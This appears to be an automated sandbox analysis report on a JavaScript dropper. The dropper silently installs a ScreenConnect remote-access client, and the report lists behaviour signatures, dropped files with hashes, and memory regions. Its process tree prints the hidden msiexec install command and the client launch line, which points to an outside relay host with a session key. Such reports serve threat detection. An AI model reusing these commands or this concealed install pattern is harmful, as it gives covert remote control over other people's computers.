Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 12:27

General

  • Target
    Docs-20261102071153277.js
  • Size 3.2MB
  • Sample261102-pm2mmafb29
  • SHA256 2941502eb7e6b5668c0026823599eaf8765193e6a814b541664e9146b6f4e769
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 21 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 16 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-20261102071153277.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1 ALLUSERS=1 INSTALLLOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d" PROGRAMDATALOCATION="C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Data"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:780
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3996
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BD0B9FFB02C49364659A019278A8142B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4880
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB1B7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240693859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2288
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A438FED66EB5FCDA56463228EF12D3A0 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3308
  • C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
    C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=mokna.cloud&p=8041&s=cc0f872f-5345-4bf9-a093-91b0b1159b2f&k=BgIAAACkAABSU0ExAAgAAAEAAQCNxZL3tg1sOj784pJI%2fDjJndvmtBu0S1bSLvxJJblA5QrsTjN6qKwRFIIrRCRPXbw9DUWtT3Mf9z9SOtMv1jfKpQIKOX0lQZ%2b6cjlHtKp3vUtCypslW%2fxzKgnq%2bPd%2fZUDAXmEH%2byWifRPUK7cZIJ%2f2Kek2HVYG2RFDmW9ICImBHCpFMdRXV5vSsvbseRT1czW4v1KZAopL%2b3wGZsFlPeofLR%2fcuO27F%2bu8%2fSkBzUU2ojCPloPIcid84hL6nTjFSEw5IRseAESnrUkw8etdlmdJsvHpg8LrI0OaHzV7FTkDecXKyjy4NUWxmYn8wGHxuiQXhhv7FmY73E0HSvelEvLm"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
      "C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe" "RunRole" "d85a32dd-7605-4f78-8971-418da65e80d7" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1872

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58b0a1.rbs

        • Path C:\Config.Msi\e58b0a1.rbs
        • Size 212KB
        • SHA256 a1f182626bd5784fd57fe1cdac3ed28e6b2b2bb5562e73d6a3cee70a9d86aa0c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.en-US.resources
        • Size 40KB
        • SHA256 e6062ed6322bcd81e007ed52223dd958fcf9a4f492b33040fc2b68b0f557ce7c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.dll
        • Size 153KB
        • SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.pdb

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Client.pdb
        • Size 253KB
        • SHA256 ef887dccc94cc0d44323529df293c7abb756f7de78c6bce7c717ed6ff29205da
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.dll
        • Size 32KB
        • SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.pdb

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Core.pdb
        • Size 1.3MB
        • SHA256 fc5f3512ac9d1578d5c5c931e5edd8b117ac26becd6e26bb1f5463aaf103c38f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
        • Size 575KB
        • SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsClient.pdb

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.pdb
        • Size 1.4MB
        • SHA256 a7d1c42b909403ee9fa97104d78f8a08f91b978b42f127e5c2eac416a03b565c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\app.config
        • Size 508B
        • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
        • Size 2.3MB
        • SHA256 fcd30fc1f96fb5852a1e286e0f37c963e8ff8d72a5407af3ae0adcbe752228c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIB1B7.tmp

        • Path C:\Windows\Installer\MSIB1B7.tmp
        • Size 357KB
        • SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIB1B7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIB1B7.tmp-\ScreenConnect.Core.dll
        • Size 447KB
        • SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIB1B7.tmp-\ScreenConnect.InstallerActions.dll
        • Size 18KB
        • SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIB5A1.tmp

        • Path C:\Windows\Installer\MSIB5A1.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1872-114-0x000000001B1B0000-0x000000001B226000-memory.dmp

        memory/1872-117-0x00000000007E0000-0x00000000007EE000-memory.dmp

        memory/1872-116-0x000000001B740000-0x000000001B8C6000-memory.dmp

        memory/1872-112-0x00000000001A0000-0x0000000000234000-memory.dmp

        memory/1872-113-0x0000000000A20000-0x0000000000A4C000-memory.dmp

        memory/1872-115-0x000000001B3F0000-0x000000001B5AA000-memory.dmp

        memory/2148-93-0x0000000004550000-0x00000000045A0000-memory.dmp

        memory/2148-73-0x0000000001420000-0x000000000142E000-memory.dmp

        memory/2148-79-0x0000000003B00000-0x0000000003B2C000-memory.dmp

        memory/2148-87-0x0000000003FD0000-0x0000000004156000-memory.dmp

        memory/2148-92-0x0000000004260000-0x00000000042F4000-memory.dmp

        memory/2148-86-0x0000000003E10000-0x0000000003FCA000-memory.dmp

        memory/2288-22-0x0000000002A20000-0x0000000002A2A000-memory.dmp

        memory/2288-18-0x00000000029F0000-0x0000000002A1E000-memory.dmp

        memory/2288-26-0x0000000004E50000-0x0000000004EC6000-memory.dmp